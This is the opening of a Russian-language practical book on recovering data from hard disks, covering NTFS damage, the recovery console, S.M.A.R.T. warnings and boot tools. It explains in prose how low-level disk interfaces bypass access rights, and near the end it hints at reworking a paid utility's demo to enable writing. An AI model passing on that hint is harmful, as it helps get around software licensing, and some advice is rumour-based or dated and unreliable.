Восстановление данных. Практическое руководство

Введение

Разрушение данных — это самое страшное, что только может случиться с вашим компьютером. Причины могут носить самый разнообразный характер. Катастрофический отказ операционной системы, вирусы, непреднамеренное удаление файлов и форматирование разделов, физические дефекты поверхности жесткого диска и т.д. В большинстве случаев данные еще можно спасти, если, конечно, знать, как это делается.

Эта книга представляет собой пошаговое руководство по реанимации данных, снабженное множеством полезных советов и обширным справочным материалом. Жесткие диски, оптические носители, файловые системы Windows и Linux (NTFS, ext2fs, ext3fs, UDF, ISO9660, UFS) — все они подробно описаны здесь.

Главным образом книга ориентирована на специалистов, занимающихся восстановлением данных, а также на системных администраторов. Тем не менее, это не значит, что простые пользователи не найдут в ней ничего интересного! Для них собрано множество готовых рецептов, которыми сможет воспользоваться даже начинающий!

При написании книги автор поставил перед собой три задачи:

1. Собрать и обобщить справочную информацию по структуре и принципам функционирования наиболее популярных файловых систем.

2. Продемонстрировать технику автоматического восстановления данных с помощью специальных утилит, предназначенных для коррекции мелких неисправностей.

3. Обучить читателя приемам ручного восстановления информации, выручающим в случае тотального разрушения данных, когда автоматизированные средства восстановления данных уже не справляются со своей задачей.

Книга основана на личном опыте автора, а также на опыте специалистов фирмы АСЕ Lab — лидера отечественного рынка услуг в области восстановления данных. Многие из обсуждающихся в книге методик известны лишь узкому кругу профессионалов. По крайней мере, в литературе, предназначенной для широкого круга читателей, они до сих пор не публиковались. Материал ориентирован на две категории читателей: опытных пользователей, умеющих работать с автоматизированными утилитами, и квалифицированных специалистов, постоянно или эпизодически сталкивающихся с необходимостью восстановления данных. Помимо них, книга будет интересна системным администраторам, прикладным и системным программистам, студентам.

Следует отметить, что потребность в литературе, посвященной восстановлению данных, достаточно велика. В этой сфере задействованы тысячи фирм, и даже в масштабах небольшого города сотни пользователей постоянно теряют свои данные. Большинство пользователей, столкнувшихся с этой ситуацией, хотели бы вернуть утраченные данные за любые деньги! При этом квалифицированных специалистов не хватает, автоматизированные утилиты при неумелом обращении приносят только вред, а техника ручного восстановления известна далеко не всем.

Часть I

Средства восстановления данных

Глава 1

Введение в восстановление данных

Современные операционные системы класса Windows NT и жесткие диски с технологией в стиле S.M.A.R.T. поддерживают целый комплекс защитных мер по предотвращению непреднамеренной порчи данных. Тем не менее, восстановление утраченных данных часто оказывается невозможным. Почему это происходит? Дело в том, что когда речь идет о непреднамеренной порче данных, ключевое значение имеет именно эпитет "непреднамеренная". Главный виновник большинства разрушений — сам пользователь. Это именно он превращает свой компьютер в рассадник вирусов, это он бездумно устанавливает непроверенные программы откровенно безответственных производителей, манипулирует настройками, смысл и значение которых ему не до конца ясны. Иначе говоря, он пожинает плоды собственной некомпетентности и безответственности.

Существует ли возможность восстановления разрушенных данных? Без сомнения, она существует! Даже серьезные и масштабные разрушения бывают полностью или частично обратимы. Восстановление информации после катастрофического сбоя — всего лишь вопрос времени и квалификации (если квалификация недостаточна, то проблема восстановления превращается из технического вопроса в финансовый). Рядовой пользователь способен справиться лишь с наименее тяжкими повреждениями, не затрагивающими ключевых служебных структур. Но как раз такие разрушения и распространены шире всего. Именно поэтому описываемых здесь приемов восстановления данных, по крайней мере, на первых порах будет вполне достаточно.

Только не путайте знания и умение. Практические навыки следует приобретать не в боевых условиях, пытаясь восстановить действительно ценные или уникальные данные. Начинать тренировки нужно задолго до катастрофического сбоя. Экспериментировать рекомендуется с жесткими дисками, на которых нет никакой ценной информации, которую было бы жалко потерять.

Как говорится, сапер ошибается всего лишь однажды. Восстановление данных не подчиняется четким и жестко заданным правилам, и правильная стратегия поведения заранее неизвестна. Существует много путей, но лишь один из них правилен, а остальные — фатальны. Восстановление данных — это искусство продвижения во мраке с завязанными глазами. Здесь опыт, знания, интуиция и умение "чувствовать" компьютер сливаются воедино. Этому нельзя научиться. Это — талант, который у человека либо имеется, либо нет. Задача любой науки, в первую очередь, состоит в том, чтобы низвести мастерство до уровня технологии. Например, часто требуется свести интуитивно выполняемую операцию к более или менее постоянной последовательности действий, выполнить которую может практически каждый. То же самое можно сказать и об информационных технологиях. Кибернетика за последние годы совершила качественный скачок вперед, вложив в руки неквалифицированного пользователя мощнейший набор средств, но не объяснив при этом, как именно ими следует пользоваться. Отсюда и множество случаев безнадежного уничтожения данных, которые при квалифицированном подходе могли бы быть восстановлены.

Короче говоря, к битве против энтропии готовы? Тогда — банзай!

Разгребаем обломки

Если ваш винчестер издает странные звуки, операционная система не загружается, а на одном или нескольких логических дисках образовалась каша, самое лучшее, что вы можете сделать — это немедленно выключить компьютер и передать его в руки профессионалов. Пытаясь "отремонтировать" данные самостоятельно, вы идете на огромный и ничем не оправданный риск. Этот риск особенно велик, если вы осуществляете восстановление не вручную, а с помощью различных автоматизированных утилит, слепо веря в их интеллектуальность.

С другой стороны, многие из тех, кто необоснованно претендует на звание специалиста, используют те же самые утилиты, что и вы. Отдавать винчестер на растерзание этим "специалистам", по меньшей мере, неразумно. В этом случае вы рискуете потерять не только данные, но и деньги. Жители крупных городов практически всегда могут найти фирму, специализирующуюся на восстановлении данных и накопившую в этой области бесценный опыт и фирменные "ноу-хау". Выбирая одну из таких фирм, услугами которой вы планируете воспользоваться, обратите особое внимание не только на техническую оснащенность компании, но и на квалификацию работающих там специалистов. Человек, профессионально занимающийся восстановлением данных, должен располагать особо чистой комнатой, прецизионным оборудованием для смены магнитных головок, не падать в обморок от вопросов, звучащих, например, так: "Что такое MFT и чем оно отличается от $MFT?" К таковым, в частности, относятся фирмы АСЕ (http://www.acelab.ru), EPOS (http://www.epos.kiev.ua/), DATA Recovery (http://www.datarecovery.ru/index.html) и многие другие. Здесь работают специалисты, которым можно доверять! Поверьте, это не реклама, а констатация факта.

В глубинке дела обстоят значительно хуже. Массового рынка восстановления нет, отказы носят единичный характер, следовательно, нет и фирм, выбравших восстановление данных основным направлением своей деятельности. Повсюду процветают кустари и Левши-умельцы, среди которых, несомненно, встречаются и подлинные мастера своего дела. Тем не менее, откровенных ламеров, выдающих себя за профессионалов, намного больше. Если и вы оказались в такой ситуации, не унывайте. Вместо того чтобы жаловаться на судьбу, попробуйте обратиться к патриархам отечественного восстановления данных. Сделать это можно, в том числе, и через могущественную сеть Интернет. Например, вот одна из таких ссылок: http://www.datarecovery.ru/rds.htm.

Технологий удаленного восстановления данных, собственно говоря, всего две. В первом случае вам по электронной почте пересылают утилиту, формирующую загрузочную дискету с автономным терминалом (разновидность telnet). Загружаясь с нее, вы входите в Интернет и передаете удаленному оператору все права по управлению вашим компьютером. Главный минус этого подхода состоит в том в том, что в течение всей процедуры восстановления вы будете вынуждены "висеть" в Интернете, наблюдая за тем, как оператор будет принимать/передавать данные, попутно пытаясь вернуть эту байтовую мешанину в исходный вид. А ведь пропускная способность модемных соединений, мягко выражаясь, крайне невелика! И хотя восстанавливаемые данные оператору непосредственно не передаются, а обрабатываются локально, объем циркулирующей информации зачастую приобретает угрожающий вид. Поэтому на практике обычно используется другой подход, при котором оператор пересылает пострадавшему пользователю программу, формирующую диагностическую дискету. Работа одной из таких программ, DoctorHD (скачать можно отсюда: http://www.antivirus.ru/zip_ext/doctorhd.exe), показана на рис. 1.1. Загрузившись с этой дискеты, пользователь запускает диагностическую утилиту. Данная утилита исследует ситуацию и генерирует отчет, который необходимо возвратить оператору. Получив отчет, оператор анализирует его, и затем пересылает пользователю либо полностью автоматизированную утилиту, которая должна исправить сложившуюся ситуацию, либо еще одну диагностическую программу. Если пользователь не имеет возможности подключения к сети Интернет, передачу данных можно осуществить по прямому модемному соединению.

Рис. 1.1. Восстановление данных через Интернет

Разумеется, в обоих случаях речь идет только о логическом восстановлении разрушенных данных. Отремонтировать физически поврежденный винчестер через Интернет нереально. Тем не менее, логические разрушения встречаются гораздо чаще физических повреждений, поэтому удаленное лечение и получило широкое распространение.

Если же, несмотря ни на что, вы все-таки намерены восстанавливать жесткий диск самостоятельно, позвольте для начала дать вам несколько практических советов.

□ Никогда не пытайтесь восстанавливать данные с физически неисправных винчестеров! Если электрическая и/или механическая части жесткого диска вызывают у вас хотя бы тень сомнения, не пытайтесь восстанавливать данные, пока диск не будет полностью отремонтирован!

□ Никогда не записывайте на восстанавливаемый диск никаких утилит, не пытайтесь загрузить с него Windows, и уже тем более не запускайте chkdsk и средства дефрагментации!

□ He пытайтесь читать bad-сектора больше двух-трех раз на каждый непрерывный дефектный блок, до тех пор, пока не будут прочитаны и сохранены все "здоровые" сектора!

□ Занимайтесь восстановлением только в трезвом уме и здравой памяти. Иными словами, переждите, пока пройдет шоковое состояние от пережитого разрушения.

Физические повреждения

Жесткие диски — чрезвычайно надежные устройства, самостоятельно следящие за своей исправностью и автоматически переназначающие подозрительные сектора задолго до их полного разрушения. При бережном обращении и соблюдении всех рекомендаций производителя шансы столкнуться с физическим разрушением информации ничтожно малы — порядка 0,1%–1% в зависимости от качества изготовления конкретного экземпляра. Тем не менее, при нынешних масштабах производства ни одному бренду не удалось избежать "проколов". Например, субподрядчик Fujitsu — компания Cirrus Logic — однажды изменила химический состав подложки микросхем, в результате чего они стали впитывать влагу, через короткое время выводящую электронику из строя. Винчестеры от Samsung славятся своей чувствительностью к статическому электричеству, приводящему к "прострелу" микросхем кэш-памяти, после чего на диск пишется сплошной мусор, необратимо разрушающий служебные структуры файловой системы.

Два примера поврежденных контроллеров жестких дисков, публикуемые с любезного разрешения владельцев сайта http://www.hdd-info.ru, приведены на рис. 1.2 и 1.3.

Рис. 1.2. "Сгоревший" контроллер жесткого диска (публикуется с любезного разрешения владельцев сайта http://www.hdd-info.ru)

Рис. 1.3. Еще один неисправный контроллер (публикуется с любезного разрешения владельцев сайта http://www.hdd-info.ru)

При отказе электроники плату обычно не ремонтируют, а заменяют целиком, приобретая "донора" точно такой же модели. При этом следует учитывать, что некоторые производители заносят калибровочные данные в микросхему ROM, которую следует аккуратно выпаять из неработающей платы и ввести в "донора". Если этого не сделать, то данные либо вообще не будут читаться, либо при первом же запуске винчестера окажутся необратимо испорченными (более подробную информацию на эту тему можно найти в гл. 2 и 4 данной книги).

Никогда и ни при каких обстоятельствах не вскрывайте крышку гермоблока! Единственная пылинка, попавшая под головку винчестера, может стоить жизни вашему диску, а с ним и данным, ради восстановления которых и был затеян ремонт (рис. 1.4 и 1.5).

Рис. 1.4. Отпечатки пальцев на зеркальной поверхности — последствия вскрытия гермоблока в домашних условиях (публикуется с любезного разрешения владельцев сайта http://www.hdd-info.ru)

Рис. 1.5. Еще один "запиленный" диск, восстановить который, увы, уже невозможно (публикуется с любезного разрешения владельцев сайта http://www.hdd-info.ru)

Примечание

Кстати, о головках. Среди обывателей ходит легенда о том, что они "залипают", и чтобы их "разлепить" якобы следует аккуратно стукнуть по винчестеру рессорой от трактора "Беларусь" или резко крутануть его вокруг своей оси, неизбежно выронив из рук. Большую нелепость сложно придумать! Когда пластины винчестера начинают вращаться, залипшие головки выдираются "с мясом", и "разлеплять" там уже нечего (если они действительно "залипали"). Подшипники (особенно гидродинамические) действительно, нередко заклиниваются, да так, что вал невозможно провернуть даже пассатижами. Какие уж тут вращения в горизонтальном направлении…

Впрочем, до тотальных отказов дело обычно не доходит, и все повреждения обычно сводятся к появлению сбойных секторов. Обнаружив их, ни в коем случае не пытайтесь запускать диагностические утилиты, включая и утилиты от фирмы — производителя винчестера. По непонятной причине практически все они, встретив сбойный сектор, мучают его до победного конца, неизбежно распространяя зону воздействия дефекта как вглубь, так и вширь. Что еще хуже, такие утилиты могут изуродовать магнитную головку, цепляющуюся за неровности дефектной зоны. Иными словами, лекарство часто оказывается хуже, чем сама болезнь.

Каждый винчестер имеет специальный настроечный регистр, который помимо всего прочего, задает и количество повторных попыток чтения, если с первой попытки сектор прочитать не удалось. Установите его либо в ноль (не делать повторов), либо в единицу, если ноль закреплен за значением количества повторов по умолчанию (как обстоят дела в конкретно взятом случае, поможет установить техническая документация, скачанная с сайта производителя). Длинное чтение секторов (long read) возвращает весь сектор целиком — пользовательские данные вместе с контрольной суммой (а на SCSI-дисках еще возвращаются и корректирующие коды). Различные модели жестких дисков имеют свои особенности реализации данной команды, которые, к сожалению, не всегда документированы. Часто требуемую информацию приходится по крупицам собирать в Интернете (как вариант — можно дизассемблировать прошивку, но это требует достаточно высокой квалификации).

Чаще всего сектор разрушается не целиком, а искажает пару десятков байт, расположенных наиболее неблагоприятным для корректирующих кодов образом. Согласитесь, что часть сектора — это намного лучше, чем совсем ничего.

Логические разрушения

Ни одна из существующих файловых систем (например, FAT16/32 или HPFS) по своей надежности не выдерживает никакого сравнения с NTFS. Поэтому сосредоточим свое внимание исключительно на NTFS. Это очень надежная система и "уронить" ее можно только вместе со всем системным блоком, а для уничтожения данных потребуется тротил или нитроглицерин. Конечно, абсолютной защиты не существует, и катастрофы различной степени тяжести все же случаются.

По сравнению с FAT файловая система NTFS документирована намного хуже. Это значит, что восстанавливать служебные структуры данных придется вслепую, опираясь на информацию, полученную из независимых хакерских источников. К их числу относятся исходные тексты драйверов NTFS, выдернутых из Linux, дизассемблерных листингов NTFS-утилит от Марка Руссиновича и т.д. Но все эти способы ненадежны, и драйверы NTFS от сторонних производителей плохо совместимы с новыми операционными системами, особенно с их локализованными версиями. К сожалению, никакой альтернативы вышеописанному подходу не существует.

Для восстановления винчестера, содержащего один или несколько разделов NTFS, подключите его "вторым" к компьютеру, на котором уже установлена операционная система Windows NT/2000/XP и все необходимое программное обеспечение. Кроме того, вам потребуется и консоль восстановления Windows (Windows Recovery Console). Чтобы до нее добраться, вставьте дистрибутивный диск Windows 2000/XP в CD-привод и запустите программу установки операционной системы. Когда инсталлятор предложит выбрать между установкой новой копии Windows или восстановлением одной из обнаруженных на компьютере операционных систем этого семейства, нажмите клавишу <R>, выбирая опцию Recovery Console.

Непосредственно из консоли восстановления можно запустить команду chkdsk логический диск. Если команда запущена с ключом /p, будет проведена углубленная проверка с последующим внесением всех изменений. Запуск команды с ключом /r указывает на необходимость поиска и восстановления дефектных секторов. Пользоваться утилитой chkdsk категорически не рекомендуется. Однако если никаких других идей у вас нет, то на худой конец сойдёт и chkdsk.

Если ни один из логических дисков не доступен (команда C: выдает ошибку, a chkdsk сообщает, что такого тома не существует), то, скорее всего, повреждена таблица разделов (partition table), находящаяся в главной загрузочной записи (Master Boot Record, MBR). Ее восстановлением занимаются десятки утилит, например, MediaRECOVER, которую можно найти по следующему адресу: http://www.mediarecover.com/advanced-file-recovery.html (рис. 1.6). Однако при желании эту операцию можно осуществить и вручную (более подробная информация по данному вопросу будет приведена в гл. 5). Консоль восстановления поддерживает команду FIXMBR физический диск (физический диск задается в формате \Device\HardDiskN, где N — номер винчестера, считая от нуля). Если верить названию этой команды, можно было бы предположить, что она должна лечить MBR. На самом деле никакого "лечения" она не осуществляет. Все, что делает эта команда, сводится лишь к записи в MBR системного загрузчика Windows. Таблица разделов при этом остается в том же состоянии, в котором она находилась до запуска FIXMBR. Восстановление системного загрузчика требуется в тех случаях, когда BIOS не может обнаружить загрузочный диск, выдавая сообщение non-system disk or disk error. Команда FIXBOOT (без параметров), "лечит" основной загрузочный сектор, а точнее, записывает в его начало стандартный boot-загрузчик. Воспользуйтесь ею, если операционная система не загружается, а на экране появляется сообщение Missing operating system.

Рис. 1.6. MediaRECOVER за работой

Если корневой каталог не отображается или содержит бессвязный мусор, то случилось самое страшное, что только могло произойти — повреждена или уничтожена главная файловая таблица (Master File Table, MFT), описывающая размещение файлов на диске. Как правило, такое случается крайне редко. Благодаря поддержке механизма транзакций Windows автоматически выполняет откат, если операция обновления файловой системы завершилось неудачно. Однако когда драйвер NTFS начинает работать нестабильно (например, из-за конфликтов с другими драйверами или вследствие нарушения целостности кэш-буфера), транзакции уже не спасают, и дисковая структура подвергается разрушениям. Первые 4 записи MFT хранятся в специальном резервном файле, на который указывает поле Cluster to MFT mirr, и могут быть элементарно восстановлены. А как же быть со всеми остальными? Ведь при современных объемах жестких дисков и астрономических количествах файлов число записей в MFT оказывается намного больше четырех. Можно ли восстановить и их, или они утеряны безвозвратно? Если диск не был обработан "врачевателями" типа chkdsk или NDD (который в хакерских кругах расшифровывается как Norton Disk Destroyer), то шансы на ручное восстановление информации достаточно велики. Более подробно этот вопрос будет рассмотрен в гл. 7. Следует отметить, что там же будет приведено достаточно краткое описание данных методик, поскольку подробное и детальное изложение этого материала потребует сотен страниц убористого текста, к концу которых большинство "обычных" пользователей начнет откровенно скучать. Из автоматических средств восстановления NTFS единственная утилита, которой я доверяю — это Crash Undo 2000. Она вытягивает максимум информации, который только можно вытащить из уцелевших осколков, и практически не уступает ручному восстановлению. Тем не менее, никаких гарантий того, что после лечения диску не сделается еще хуже, у вас нет. Не очень-то утешительное заключение, но зато откровенное.

Как избежать катастрофы

От разрушения данных не застрахован никто. Однако если вы разработали правильную политику резервирования, то вся процедура восстановления сводится к замене негодного винчестера на новый и переписыванию данных с архивного накопителя. Восстанавливать данные на старый диск даже при логических разрушениях категорически недопустимо, так как если в процессе копирования выяснится, что резервный носитель испорчен, вы одновременно лишитесь как оригинала, так и копии.

Если же резервной копии нет или она устарела, немедленно бросьте все текущие дела и займитесь ее созданием! Ох, и зачем это я говорю? Ведь все равно не займетесь же. Кабы молодость да знала, кабы старость да могла.

Если вы не намерены следовать этой рекомендации, то, по крайней мере, регулярно дефрагментируйте винчестер — дефрагментированные файлы восстанавливаются не в пример легче.

Кстати говоря, из всех разделов чаще всего гибнет именно первый (то есть диск C:). Поэтому категорически не рекомендуется хранить на нем что-либо ценное. Диск, разумеется, должен быть разбит на разделы. Но если вы не разбили его перед установкой операционной системы, не пытайтесь переразбивать его сейчас, так как риск потерять при этом все данные очень велик!

Внимательно следите за показаниями системы мониторинга S.M.A.R.T., для считывания которых разработано множество разнообразных утилит, например, AIDA32 (рис. 1.7). Стремительный рост количества замещенных секторов (Reallocated Sector Count) не предвещает ничего хорошего, и такой диск рекомендуется срочно заменить. При этом следует учитывать именно градиент, а не абсолютное значение! Увеличение количества ошибок сырого чтения (Raw Read Error Rate) указывает на серьезные проблемы, и от такого диска лучше поскорее избавиться, скопировав все данные на другой. Рост численности ошибок позиционирования (Seek Error Rate) и, в особенности, повторных раскруток шпинделя (Spin Retry Count) говорит о растущих рассогласованиях в работе механической части, обычно заканчивающихся поломкой. С другой стороны, увеличение времени раскрутки шпинделя (Spin Up Time) — вполне нормальное явление, обусловленное конструктивными особенностями некоторых жестких дисков. Поэтому до тех пор, пока этот параметр не достигнет порогового значения, никаких поводов для волнений нет.

Рис. 1.7. Показания S.M.A.R.T., считанные утилитой AIDA32

Ошибки передачи данных по интерфейсу ATA (Ultra ATA CRC Error Rate) очень коварны. Если они превысят пределы корректирующей способности избыточных кодов, файловая система разрушится. Проверьте, не перекручен ли интерфейсный кабель и, при необходимости, укоротите его.

Внимательно следите за температурой, не допуская перегрева винчестера. Предельно допустимую температуру можно узнать из спецификации. Большинство современных винчестеров нормально выдерживают температуру окружающей среды до 50–60 °C (не путайте ее с показаниями встроенного термодатчика), не требуя дополнительного охлаждения.

Не разгоняйте процессор, PCI-шину и оперативную память! Все это может привести к необратимому разрушению служебных структур файловой системы, затраты на восстановление которой сведут на нет весь выигрыш, полученный от разгона. Кстати, на винчестерах с кэш-памятью в 8 Мбайт старые версии Windows (более ранние, чем Windows XP) чувствуют себя очень плохо, зачастую приводя к серьезной порче винчестера. Это происходит потому, что при выходе из системы Windows отключает питание винчестера еще до того, как он успевает сбросить кэш. Проблема решается либо переходом на Windows XP, либо установкой соответствующего пакета обновления (Service Pack). Вообще говоря, винчестеры с большим кэшем лучше не приобретать, так как, по слухам, они недостаточно надежны и имеют много нерешенных инженерных проблем.

Не используйте штатного шифрования файлов и динамических томов — все они хранят служебную информацию в реестре операционной системы, и после ее краха становятся недоступными. Также никогда не запускайте программ, в которых вы не уверены, и уж тем более не предоставляйте им права администратора! Всегда используйте минимум необходимых для работы прав, входя в систему от имени администратора лишь при реальной необходимости. Запрещайте модификацию всех файлов, которые не собираетесь модифицировать в ближайшее время, отобрав этот атрибут у всех пользователей, от имени которых вы обычно регистрируетесь в системе.

Следуя всем перечисленным выше советам, вы многократно снижаете риск необратимой потери данных и значительно упрощаете процедуру их восстановления в случае, если они все-таки будут разрушены.

"Дыры" в системе безопасности

Считается, что операционные системы семейства Windows NT надежно защищают данные от разрушения. Во-первых, они блокируют прямой доступ к аппаратуре, во-вторых, обеспечивают возможность разграничения доступа, которую, по уверениям Microsoft, еще никто до сих пор не обошел (во всяком случае, универсального метода обхода системы разграничения доступа до сих пор еще не найдено).

И вы этому верите? Ха! Сейчас я вам объясню, как сильно вы заблуждаетесь. Для начала ответьте на несколько простых вопросов. У вас установлен пишущий привод CD? А пишущие программы есть? А работают они случайно не через Advanced SCSI Programming Interface (ASPI)? А вы знаете, что драйвер ASPI позволяет любому приложению, независимо от уровня его полномочий, работать со всеми устройствами IDE/SCSI на низком уровне, в частности, стирая все сектора? Вы решили ликвидировать эту брешь в системе безопасности и удалили драйвер ASPI? Можете ли вы теперь считать, что вы в безопасности? Нет, так как останется SCSI Pass Through Interface (SPTI), намертво вживленный в операционную систему и позволяющий делать все то же самое, что и ASPI, пускай и требующий наличия прав администратора. Неужели вы верите, что злоумышленнику будет так уж трудно их получить? Вы жестоко ошибаетесь! Чтение физического диска на секторном уровне по умолчанию доступно всем пользователям без исключения (и его не так-то просто запретить). В то же время, на секторном уровне не существует понятия "привилегий" (access permissions), и файлы с конфиденциальной информацией (включая информацию по аутентификации) доступны всем пользователям (строго говоря, никаких "файлов" на секторном уровне не существует, но для хакеров это — не преграда).

Что касается драйверов, то их полномочия ничем не ограничены, и они могут делать с системой все что угодно. Нередко драйверы содержат критические ошибки, приводящие к краху Windows и превращающие файловую систему в манную кашу. Особенно этим грешат драйверы от кустарных разработчиков, наплевательски относящихся к культуре программирования. Можно ли запретить приложению устанавливать свои драйверы в системе? Ну, в общем-то, можно (для этого достаточно лишь быть зарегистрированным в системе с правами простого пользователя на момент установки приложения). Вот только что это нам даст? Без драйвера приложение работать не будет, а достойную альтернативу ему удается найти не всегда.

Диагностика и устранение повреждений жесткого диска

Наиболее распространенные повреждения жесткого диска, а также методы их диагностики и устранения кратко описаны в табл. 1.1.

Таблица 1.1. Диагностика и методы устранения повреждений жесткого диска

Симптом		Диагноз	Устранение
Жесткий диск не опознается BIOS		Отказ электроники жесткого диска	Обратитесь в специализированную фирму по ремонту жестких дисков или попытайтесь выполнить ремонт самостоятельно по методике, описанной в гл. 4
Операционная система не загружается, BIOS выдает сообщения Non-system disk, Missing operating system, или нечто подобное	При загрузке с дискеты логические диски не видны (команда C: возвращает сообщение об ошибке)	Повреждена таблица разделов или сигнатура 55h AAh	Восстановите MBR вручную по методике, описанной в гл. 5, или с помощью утилиты GetDataBack
	При загрузке с дискеты логические разделы видны и исправны (команды C: и dir C: работают)	Поврежден загрузочный сектор и/или MBR	Запустите консоль восстановления и дайте команды FIXMBR и FIXBOOT
	При загрузке с дискеты логические разделы видны, но команда dir С: дает ошибку	Поврежден загрузочный сектор или MFT	Попробуйте восстановить boot-сектор вручную по методике, описанной в гл. 5. Восстановите MFT с помощью резервной копии из MFTMirr
Операционная система начинает загружаться, но затем процесс загрузки зависает или прерывается с выводом сообщения об ошибке	При загрузке с дискеты команда dir С: выполняется нормально, a chkdsk не находит ошибок	Возникла проблема с конфигурацией самой операционной системы	Переустановите операционную систему, предварительно скопировав все ценные файлы на другой носитель
	При загрузке с дискеты команда dir в одном или нескольких подкаталогах выводит мусор или показывает не все файлы	Повреждена MFT или одна из ее дочерних структур	Запустите DiskExplorer и прочитайте все файлы из MFT напрямую, в обход индексов
	При загрузке с дискеты некоторые файлы не читаются, при этом винчестер издает ритмичные скребущие звуки	Физические повреждения поверхности диска	Запустите утилиту восстановления жесткого диска, полученную от его производителя
	Некоторые файлы содержат в себе фрагменты других файлов	На диске образовались пересекающиеся кластеры	Запустите chkdsk
	Свободное место на диске стабильно уменьшается без видимых причин	Некоторые кластеры оказались потерянными	Запустите chkdsk

Глава 2

Основные средства восстановления данных

Даже если у вас золотые руки и светлая голова, при восстановлении данных ни за что не обойтись без специализированных инструментов. В идеале вы должны быть готовы разработать все необходимое для работы самостоятельно. Восстановление данных — довольно кропотливая и рутинная работа, и при реанимации диска объемом от 80 до 120 Гбайт без автоматизации просто не обойтись. Общий недостаток всех известных дисковых докторов — отсутствие встроенного языка программирования или хотя бы развитой системы макрокоманд. Естественно, прежде чем что-то автоматизировать, необходимо разобраться в ситуации, а выполнить эту работу может только человек. Компьютеру доверять ее ни в коем случае нельзя — для этого он недостаточно интеллектуален. Только человек может уверенно отличить актуальные данные от мусора.

Однако не стоит впадать и в другую крайность, снова и снова изобретая велосипед. Среди утилит, представленных на рынке, есть практически все необходимое. Естественно, большинство таких утилит распространяются на коммерческой основе, и за них приходится платить. К сожалению, многие из дорогостоящих инструментов не оправдывают возлагаемых на них ожиданий, и к выброшенным на ветер деньгам примешивается горечь от утраты данных. Работая над этой книгой, я протестировал множество разнообразных программных продуктов. В этой главе будут кратко описаны наиболее известные из них и даны рекомендации по их использованию.

Загрузочные дискеты и Live CD для Windows

Средства восстановления и диагностики, установленные на основном жестком диске, годятся лишь для обучения, а для практического восстановления этого диска они бесполезны. Даже если сбой окажется не настолько серьезным, чтобы воспрепятствовать загрузке Windows, попытка "лечения" диска в многозадачной среде носит весьма непредсказуемый характер. Записывая что- либо на диск в обход драйвера файловой системы, вы сильно рискуете. Проиллюстрируем это утверждение на простом примере. Представьте себе, что вы восстанавливаете ранее удаленный файл, обновляя святую святых файловой системы NTFS — главную файловую таблицу (MFT), а в это время система создает или удаляет другой файл, обращаясь при этом к тому же самому сектору, что и вы. Что произойдет в результате? Правильно — файл, а, возможно, и весь дисковый том, окажется окончательно разрушенным. Кроме того, система блокирует активные исполняемые файлы и файлы данных, что делает невозможным их восстановление даже при наличии архивной копии. О борьбе с вирусами в таких условиях лучше вообще не упоминать. Многие вирусы, обосновавшись в системе, блокируют запуск антивирусных программ или умело скрываются от них, не позволяя себя удалить или обнаружить. Если же в результате сбоя перестала загружаться Windows, то вы вообще остаетесь ни с чем...

Главное преимущество FAT16/32 по сравнению с NTFS — это, бесспорно, изначально присущая ей возможность загрузки с системной дискеты. MS-DOS 7.0 поддерживает длинные имена файлов. Это позволяет скопировать с восстанавливаемого диска все файлы, доступные штатному драйверу операционной системы. Но если восстанавливаемый диск отформатирован под NTFS, сделать это будет уже не так просто. Разумеется, никто не запрещает нам подключить восстанавливаемый диск "вторым" к системе с работоспособной Windows NT/2000/XP. Для этого даже не обязательно иметь два компьютера. Просто подключите к своему компьютеру еще один винчестер, установите на него систему из семейства Windows NT и наслаждайтесь жизнью. При этом следует учитывать, что информация о программных реализациях RAID, созданных Windows NT 4.0 или более ранними версиями, содержится в реестре и потому при переносе диска на другую систему оказывается недоступна. Динамические диски, появившиеся в Windows 2000, хранят свои атрибуты на фиксированных участках диска и потому не привязаны к своей "родной" системе. С шифрованными файлами дела обстоят не в пример хуже. Ключ шифрования хранится глубоко в недрах пользовательского профиля, и на другой системе расшифровка файлов оказывается невозможной. Причем создание пользователя с таким же именем и паролем не решает проблемы, так как ключ шифрования генерируется системой случайным образом и не может быть воспроизведен. В таких ситуациях не остается никакого другого пути, кроме атаки по методу "грубой силы".

Некоторые типы разрушений файловой системы способны вызывать зависание оригинального драйвера NTFS или приводить к появлению синего экрана смерти (Blue Screen of Death, BSOD). Это создает серьезные проблемы, так как для восстановления диска необходимо запустить средства восстановления (минимально необходимый инструментарий), а для их запуска необходимо загрузить Windows (а вот это как раз и невозможно!). Оказавшись в подобной ситуации, попробуйте подключить такой диск к системе, не поддерживающей NTFS (например, Windows 98 или MS-DOS). Не забудьте, что если вы выбрали такой путь, то утилиты, применяемые вами для восстановления, должны быть совместимы с этой операционной системой. Еще один вариант выхода из этой ситуации — подключение восстанавливаемого диска к системе Linux. Драйвер Linux игнорирует вспомогательные структуры файловой системы (например, файл транзакций) и потому успешно монтирует даже диски, содержащие сплошной мусор.

Благодаря усилиям Марка Руссиновича, создавшего замечательную утилиту NTFSDOS Professional, с разделами NTFS стало возможно работать и в средах MS-DOS или Windows 9x. Тем не менее, при всех достоинствах данной утилиты она отнюдь не является самостоятельным драйвером. Это всего лишь "обертка" (wrapper) вокруг штатного драйвера NTFS.SYS, эмулирующая необходимое окружение и диспетчеризующая файловые запросы. С одной стороны, это хорошо тем, что мы имеем полноценную поддержку NTFS, на 100% совместимую с нашей версией операционной системы (NTFS.SYS извлекается как раз оттуда). Для сравнения, драйверы NTFS, написанные сторонними разработчиками (в частности, драйвер Linux), реально работают лишь на чтение, да и то кое-как (потоки и прочие "вкусности" NTFS начисто игнорируются). С другой стороны, если поврежденный диск вызывает зависание NTFS.SYS, он вызовет и зависание NTFSDOS Professional! Однако с такими проблемами приходится сталкиваться не так уж и часто, поэтому полезность этой утилиты воистину неоценима. Демонстрационная копия NTFSDOS Professional, доступная для бесплатного скачивания (http://www.sysinternals.com/Utilities/NtfsDosProfessional.html), поддерживает лишь чтение дисков NTFS, а за возможность записи приходится платить (коммерческую полнофункциональную версию можно получить на http://www.winternals.com — это платный вариант www.sysinternals.com). Тем не менее, поскольку NTSFDOS Professional — это всего лишь обертка, после небольшой доработки она с готовностью согласится не только читать, но и писать.

Примечание

Обратите внимание на то, что я не призываю вас взламывать что бы то ни было. В данном случае речь о взломе не идет! Напротив, я призываю вас к созидательной деятельности и к наращиванию функциональных возможностей существующей программы!

Говоря об NTFSDOS Professional, следует упомянуть об ее установке и сопутствующих проблемах.

